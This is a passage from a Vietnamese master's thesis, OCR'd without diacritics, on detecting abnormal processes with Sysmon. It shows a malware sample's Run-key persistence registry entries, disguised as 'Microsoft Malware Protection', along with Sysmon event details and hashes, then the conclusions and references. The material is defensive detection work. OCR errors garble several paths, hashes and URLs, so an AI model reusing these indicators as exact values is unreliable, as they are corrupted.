thuc hién tao registry va goi tap tin unsecapp.exe nhu sau:

C:\Users\A
dministrat
or\Microso
ft Malware
Protectio
nydylunsec
app.exe

HKLM\SOFTWARE\Microsof\Windows\CurrentVersion\Run\Microsoft Malware Protectionydy

C:\Windows C:\Users\A
\System32\ DMINI~1\Ap
wbem\WmiPr pData\Loca

VSE.exe \Temp\3.e
Xe

HKU\S-1-5-21-2184325914-3229825648-368422901-500\Software \Microsoft\Windows\CurrentVersion\Run\Microsoft Malware Protectionydy

Hinh 3.24. H¢ thong hién thi thong tin chi tiét ddi véi tap tin 3.exe

Thong tin chi tiét vé sy kién d6i v6i tap tin 3.exe cho thdy rd ma Hash cia tap

tin cling nhu tién trinh cha da goi tap tin.

Sysmon Event ID: 1

CurrentDirectory:C:\Windows\system32\

CommandLine:C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
Hashes:MD5=28C6F235946FD694D2634C7A2F24C1BA,SHA256=C3159D4F85CEB84C4AAOF7EAS208928E729A30DDDA4FEADZEC
6257C70D1984763,IMPHASH=89DFE28A05F84497E44242CF5B5DEFCS
ParentProcessGuid:{CD262058-6713-5EE5-1004-030000000000}
ParentCommandLine:C:\Windows\system32\wbem\wmiprvse.exe Y

Hinh 3.25. H¢ thong hién thi thong tin vé su Kién tip tin 3.exe

Kiém tra thong tin vé két ndi network, luan van khong thu thap dugc thong tin
vé két ndi may chu diéu khién ctia ma doc ndy, qua phan tich so sanh véi két qua
phan tich dugc cong bd, nhan thdy tén mién may chii diéu khién da khong con hoat
dong do d6 ma doc khong thyc hién két ndi thanh cong din dén hé thong khong ghi
nhan duogc sy kién nay. Nhu vay, qua viéc st dung cong cu thu thap, phan tich tién
trinh dua trén sy kién event cua Sysmon, luan van da trién khai phan tich va nhan

dién dugc tap tin ma ddc.
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3.4. Két luan Chwong 3

Trinh bay tong quan vé ung dung phat hién tién trinh bat thuong trén may
nguoi dung bao gdm: hé théng thu thap trén may ngudi dung, hé thong gidm sat
tién trinh.

MG ta chi tiét cach thire xay dyng va cai dat hé thong thu thap dir liéu trén may
nguoi dung.

Thuc hién kiém thtr hé théng phat hién tién trinh bat thuong st dung tap

dau hiéu.
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KET LUAN LUAN VAN

Luan van da nghién ctru va thyc hién mot sb két qua nhu sau :

- Nghién ctru va tim hiéu mot s6 hé diéu hanh trén may tinh nguoi dung.

- Tim hiéu mot s6 phuong phap va cong cu thu thap tién trinh trén may
nguodi dung.

- Nghién ctru vé mot sd dic diém va thanh phan tién trinh duoc thu thap thong
qua cong cy Sysmon.

- Trinh bay phuong phéap xay dung va cau hinh hé thdng thu thap va phat hién
tién trinh bat thuong dua trén phan tich tién trinh.

- Tién hanh thuc hién thuc nghiém danh gia h¢ théng phat hién tién trinh bat

thuong su dung tap dAu hiéu.

Y KIEN CUA GIAO VIEN HUONG DAN NGUOI LAP BE CUONG

TS. PO XUAN CHQ NGUYEN DIEP ANH



(1]

(2]

(3]

(4]

(5]

(6]

(7]

(8]

[9]

[10]

54

DANH MUC TAI LIEU THAM KHAO

Alireza Souri, Rahil Hosscini. A state-of-the-art survey of malware detection
approaches using data mining techniques (2018). Vol 8, No 3. pp 1-22.
https.7/doi.org/1 0.1186/s1 3673-018-0125-x.

YANFANG YE, TAO LI. DONALD ADJEROH, S. SITHARAMA

IYENGAR.2017. A survey on malware detection using data mining techniques.
ACM Comput. Surv. 50, 3, Article 41 (June 2017), DOIL:http://dx.d0i.0rg/1
0.1145/3073559.

IMPORTANT INFORMATION REGARDING SANDBOXIE VERSIONS.
https://www.sandboxie.com/. [Last accessed 26 August 2020]

Endpoint Detection and Response Solutions Market-
https://www.gartner.com/reviews/market/endpoint-detection-and-response-
solutions. [Last accessed 26 August 2020]

Endpoint  Security with Apex One Endpoint security redefined.
https://www.trendmicro.com/en_us/business/products/user-
protection/sps/endpoint.html [Last accessed 26 August 2020]

Palo Alto Networks Traps Endpoint (EDR), https://paloaltofirewalls.co.uk/palo-
alto- traps-endpoint/ [Last accessed 26 August 2020]

Kaspersky Endpoint Detection and Response
https://www.kaspersky.com/enterprise-security/endpoint-detection-response-
edr [Last accessed 26 August 2020]

VMware Carbon Black EDR - https://www.carbonblack.com/products/edr/ [ Last
August 26 February 2020]

Falcon Insight: EDR -https: //www.crowdstrike .com / endpoint-security-
products / falcon-insight-endpoint-detection-response /[ Last accessed 26 August
2020]

https://www.malwarebytes.com/business/endpointdetectionresponse/ [Last

accessed 26 August 2020]



55

[11] Auditd Linux Tutorial, https:/linuxhint.com/auditd linux_tutorial/. [Last
accessed 26 August 2020]

[12] ATT&CK for Industrial Control Systems. https://attack.mitre.org/.[Last
accessed 26 August 2020]

[13] Malware hunting with live access to the heart of an incident, https://app.anv.run/
[Last accessed 26 August 2020].

[14] Neo23x0/sigma,

https://github.com/Ne023x0/sigma/blob/master/tools/README.md/. [Last accessed
26 August 2020]



